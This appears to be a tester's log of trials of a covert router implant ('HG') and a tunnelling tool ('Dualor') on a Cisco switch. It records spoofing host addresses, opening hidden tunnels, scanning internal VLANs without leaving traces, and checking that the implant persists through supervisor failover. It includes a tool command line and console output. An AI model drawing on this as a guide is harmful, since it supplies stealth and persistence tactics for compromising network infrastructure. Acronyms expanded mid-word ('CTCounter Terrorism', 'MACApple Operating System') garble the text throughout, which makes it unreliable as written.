 Opened the TAPVirtual Network kernel device interface tap0
 Setting the tap0 interface status to downtap0 Interface Parameters: 
 IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
 Subnet Mask: 255.255.255.248
 MACApple Operating System Address: 00-01-44-27-78-3aSetting the tap0 interface status to up 
 Tunnel is now active
 Shutting down tunnel: Tunnel has timed outClosing Dualor 
 Closed the TAPVirtual Network kernel device interface tap0
 root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux#
- Was able to ssh to client. tunnel timed out as set.
 
- Collect wireshark of tunnel establishment and teardown
- Test abnormal tunnel termination- Established tunnel
- On ICON, ifconfig tap0 down
- ifconfig no longer shows tap0 interface
- tunnel is still up according to dualor and drillbit
- Tunnel eventually timed out due to timeout setting in .ini file
- Repeated but this time closed the tunnel from CTCounter Terrorism session before it could time out. Dualor and drillbit appear to close gracefully however wireshark of ICON box shows TCPTransport Control Protocol FIN/ACK retransmissions continue from XXX.XXX.X.XX (TOPWAY-NET[CN]) for about 10 packets, then finally a RST/ACK is sent.
- Testing something happening to flux during the tunnel.
- Established tunnel
- Shut eth0 on flux 2
- CT session now unresponsive. Dualor stayed active for a bit then disconnected:
- 
Setting the tap0 interface status to up 
 Tunnel is now active
 Failed to receive data from the tunnel!Closing Dualor 
 Closed the TAPVirtual Network kernel device interface tap0
- When re-establishing CTCounter Terrorism interface, had to update trigger number to match. Given the sensitivity to triggers being sent with incorrect seq number, may be best to recommend using tun init to establish tunnel so that the trigger sequence number does not get changed in an .ini file. Sending tunnel trigger with wrong seq also causes the snmp encoding errors to increment on DUT.
 
- Test specifying trigger seq number on command line with triggered tunnel initation:root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux# ./Dualor ../config/dualor-endpoint.ini -t ../config/dualor-callback.ini -q 0x10 
- 
Test behavior of tunnel when pps threshold reached - Established Tunnel
- Raised the pps by generating traffic from the impersonated CTCounter Terrorism host as well as the impersonated tunnel host
- lowered threshold settings to 500/1000.
- Tunnel did drop when the threshold was reached. No CPU spike out of the teens.Tunnel is now active 
 Failed to receive data from the tunnel!Closing Dualor 
 Closed the TAPVirtual Network kernel device interface tap0
 root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux#
- 
[XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status 
 [Success]
 Maximum Packets Per Second: 500
 Number of Packets Counted Per Sample: 1000
 Highest Observed Packets Per Second: 258
 Number of Overflows Since Settings Last Changed: 0
 Time of Last Overflow: --
 ************ Success ************
 [packet get_assist_threshold_status][XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status 
 [Success]
 Maximum Packets Per Second: 500
 Number of Packets Counted Per Sample: 1000
 Highest Observed Packets Per Second: 679
 Number of Overflows Since Settings Last Changed: 1
 Time of Last Overflow: 2016-02-01T20:20:46Z
 ************ Success ************
 [packet get_assist_threshold_status][XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- Test Tunnel using tap ip of vlan 3- Reloaded device
- install HG
- Establish CT
- start dualor module
- create tunnel - tap ip on vlan 3 - XXX.XXX.X.XX (TOPWAY-NET[CN]) and impersonated XXX.XXX.XX.XXX (TOPWAY-NET[CN]). Added flux route for XXX.XXX.XX.XX (TOPWAY-NET[CN])/29 and tunnel came up.
- Successfully nmap'd vlan 19 hosts. no prints observed
 
- tested impersonated host becomes active on the network - tunnel drops as soon as impersonated host becomes active. if impersonated host was already active on the network, they co-exist.
- tested when tap ip becomes active on network during a tunnel session, this does drop tunnel. but if tap ip was already active on network, that host cannot we browse. Did not see any punch throughs of tunnel traffic to tap ip host. however, that host is effectively broken.
 
 
- SUP failover testing- With hg installed, forced a failover via CLI. Rebooted on other SUP. as expected, CEF assist that was laid down for impersonated host on customer 1 - XXX.XXX.X.XX (TOPWAY-NET[CN]) was still present:
- cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN]) 
 XXX.XXX.X.XX (TOPWAY-NET[CN])/32
 receive
 cytolysis-1#
- That client cannot browse internet. cleared cef on sup720. doesn't fix it. clear ip route did fix it.
- SUccessfully re-installed HG on sup in slot 6.
- reloaded device to start with a clean device. will attempt to install, failover, then reinstall without clearing route, impersonating same host
- installed hg, established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
- forced failover through cli - veriufied that host cannot get out, RAArd still in place.
- installed hg and that did fix the host, 1.82 can now get out. RAA still in place. Established CTCounter Terrorism session successfully.
- Failed BACK over. RAA still in place. Reinstall HG. Establish CTCounter Terrorism session. SUCCESS.
- Disconnected CTCounter Terrorism session and now RAA is dropped:cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN]) 
 XXX.XXX.X.XX (TOPWAY-NET[CN])/32
 receive
 cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
 XXX.XXX.X.XX (TOPWAY-NET[CN])/32
 attached to Vlan3
- Reloaded to start with a clean device. Testing HG install - failover, then fail right back and reinstall. SUCCESS. 
- Reloaded device - testing sup failover when primary is physically pulled.
- Installed HG. verified install by est CTCounter Terrorism session, then closed it.
- Pulled primary sup - failed over without any problems. Re-installed sup in slot 5. Failed back over to slot 5 as active.
- Reinstalled HG - SUCCESS
- Reloaded - Testing installing HG, pulling SUP and then installing on new
- Reloaded DUT
- Installed HG.
- Forced failover through CI
- reinstalled hg - established CTCounter Terrorism session. SUCCESS
- Reloaded - sup in slot 5 does not boot, goes to rommonAutoboot executing command: "boot bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin" 
 Loading image, please wait ...device does not contain a valid magic number 
 loadprog: error - on file open
 boot: cannot load "bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
 Exit at the end of BOOT string
 rommon 1 > boot
 device does not contain a valid magic number
 boot: cannot open "bootdisk:"
 boot: cannot determine first file name on device "bootdisk:"
 rommon 2 > boot system bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin
 Loading image, please wait ...Invalid device specified 
 Booting from default device
 device does not contain a valid magic number
 boot: cannot open "bootdisk:"
 an alternate boot helper program is not specified
 (monitor variable "BOOTLDR" is not set)
 and unable to determine first file in bootflash
 loadprog: error - on file open
 boot: cannot load "system bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
 rommon 3 >
- sup in slot 6 does load. 
- reseated sup in slot 5 and it booted successfully as standy by. Tried reload again. - SUCCESS. sup in slot 5 now active
- Reloading again to start with a clean device and attempt to repro the rommon condition
- Install HG, force failover through cli
- Reinstall HG on sup in slot6 - done.
- Reload to fail back to slot 5- successful. Could not reproduce the error above. Might not have been due to HG.